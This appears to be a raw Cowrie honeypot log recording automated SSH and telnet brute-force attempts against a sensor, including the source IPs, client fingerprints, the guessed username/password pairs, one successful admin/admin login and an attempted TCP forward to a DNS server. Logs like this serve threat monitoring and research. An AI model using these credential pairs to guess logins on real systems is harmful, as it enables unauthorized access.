{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:49.712322Z","src_ip":"141.11.21.145","session":"46aff0000047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lln","password":"123456","message":"login attempt [lln/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:49.960979Z","src_ip":"141.11.21.145","session":"46aff0000047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:51.047590Z","src_ip":"141.11.21.145","session":"46aff0000047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":44776,"dst_ip":"159.203.135.109","dst_port":22,"session":"23692af7b4da","protocol":"ssh","message":"New connection: 107.150.103.12:44776 (159.203.135.109:22) [session: 23692af7b4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:42:31.251929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:42:31.257393Z","src_ip":"107.150.103.12","session":"23692af7b4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:42:31.328263Z","src_ip":"107.150.103.12","session":"23692af7b4da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass","message":"login attempt [postgres/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:42:31.639462Z","src_ip":"107.150.103.12","session":"23692af7b4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:42:32.713158Z","src_ip":"107.150.103.12","session":"23692af7b4da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":33318,"dst_ip":"159.203.135.109","dst_port":23,"session":"26c95ce93f8d","protocol":"telnet","message":"New connection: 199.103.57.63:33318 (159.203.135.109:23) [session: 26c95ce93f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:42:42.606302Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.38.16.84","src_port":57720,"dst_ip":"10.17.0.5","dst_port":23,"session":"174f7e8a8f3b","protocol":"telnet","message":"New connection: 92.38.16.84:57720 (10.17.0.5:23) [session: 174f7e8a8f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:42:57.439091Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.159.246.108","src_port":34082,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c72cec11df7","protocol":"telnet","message":"New connection: 154.159.246.108:34082 (10.17.0.5:23) [session: 0c72cec11df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:07.126310Z"}
{"eventid":"cowrie.session.closed","duration":12.072497606277466,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:09.511475Z","src_ip":"92.38.16.84","session":"174f7e8a8f3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":54426,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9183fb94758","protocol":"ssh","message":"New connection: 107.150.103.12:54426 (159.203.135.109:22) [session: d9183fb94758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:19.247218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:19.253110Z","src_ip":"107.150.103.12","session":"d9183fb94758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:19.326558Z","src_ip":"107.150.103.12","session":"d9183fb94758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix24","message":"login attempt [bitrix/bitrix24] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:19.647964Z","src_ip":"107.150.103.12","session":"d9183fb94758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.621231317520142,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:19.747431Z","src_ip":"154.159.246.108","session":"0c72cec11df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.32725429534912,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:19.933440Z","src_ip":"199.103.57.63","session":"26c95ce93f8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:43:20.724623Z","src_ip":"107.150.103.12","session":"d9183fb94758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":43714,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba392840d56","protocol":"ssh","message":"New connection: 107.150.103.12:43714 (159.203.135.109:22) [session: 5ba392840d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:08.379664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:08.385041Z","src_ip":"107.150.103.12","session":"5ba392840d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:08.459209Z","src_ip":"107.150.103.12","session":"5ba392840d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"brandy","message":"login attempt [test/brandy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:08.772097Z","src_ip":"107.150.103.12","session":"5ba392840d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:09.845799Z","src_ip":"107.150.103.12","session":"5ba392840d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48234,"dst_ip":"10.17.0.5","dst_port":22,"session":"73f6b5f049ff","protocol":"ssh","message":"New connection: 80.94.92.186:48234 (10.17.0.5:22) [session: 73f6b5f049ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:47.424569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:47.508364Z","src_ip":"80.94.92.186","session":"73f6b5f049ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:47.610311Z","src_ip":"80.94.92.186","session":"73f6b5f049ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:48.429132Z","src_ip":"80.94.92.186","session":"73f6b5f049ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:49.966033Z","src_ip":"80.94.92.186","session":"73f6b5f049ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":36640,"dst_ip":"159.203.135.109","dst_port":22,"session":"0450c69f7b78","protocol":"ssh","message":"New connection: 107.150.103.12:36640 (159.203.135.109:22) [session: 0450c69f7b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:58.852134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:58.856259Z","src_ip":"107.150.103.12","session":"0450c69f7b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:58.930562Z","src_ip":"107.150.103.12","session":"0450c69f7b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123321","message":"login attempt [ubuntu/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:44:59.246343Z","src_ip":"107.150.103.12","session":"0450c69f7b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:00.320899Z","src_ip":"107.150.103.12","session":"0450c69f7b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.208.22.190","src_port":4960,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d7bf61888c","protocol":"telnet","message":"New connection: 217.208.22.190:4960 (10.17.0.5:23) [session: 76d7bf61888c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:16.715518Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33902,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab5c896bf758","protocol":"ssh","message":"New connection: 87.251.64.176:33902 (10.17.0.5:22) [session: ab5c896bf758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:37.372088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:37.376005Z","src_ip":"87.251.64.176","session":"ab5c896bf758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:37.472277Z","src_ip":"87.251.64.176","session":"ab5c896bf758","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:37.763585Z","src_ip":"87.251.64.176","session":"ab5c896bf758","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:37.863699Z","session":"ab5c896bf758","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:37.962414Z","src_ip":"87.251.64.176","session":"ab5c896bf758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:38.063675Z","src_ip":"87.251.64.176","session":"ab5c896bf758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03638482093811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:47.751794Z","src_ip":"217.208.22.190","session":"76d7bf61888c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":38998,"dst_ip":"159.203.135.109","dst_port":22,"session":"995c27dde4dc","protocol":"ssh","message":"New connection: 107.150.103.12:38998 (159.203.135.109:22) [session: 995c27dde4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:48.251772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:48.255496Z","src_ip":"107.150.103.12","session":"995c27dde4dc","protocol":"ssh"}
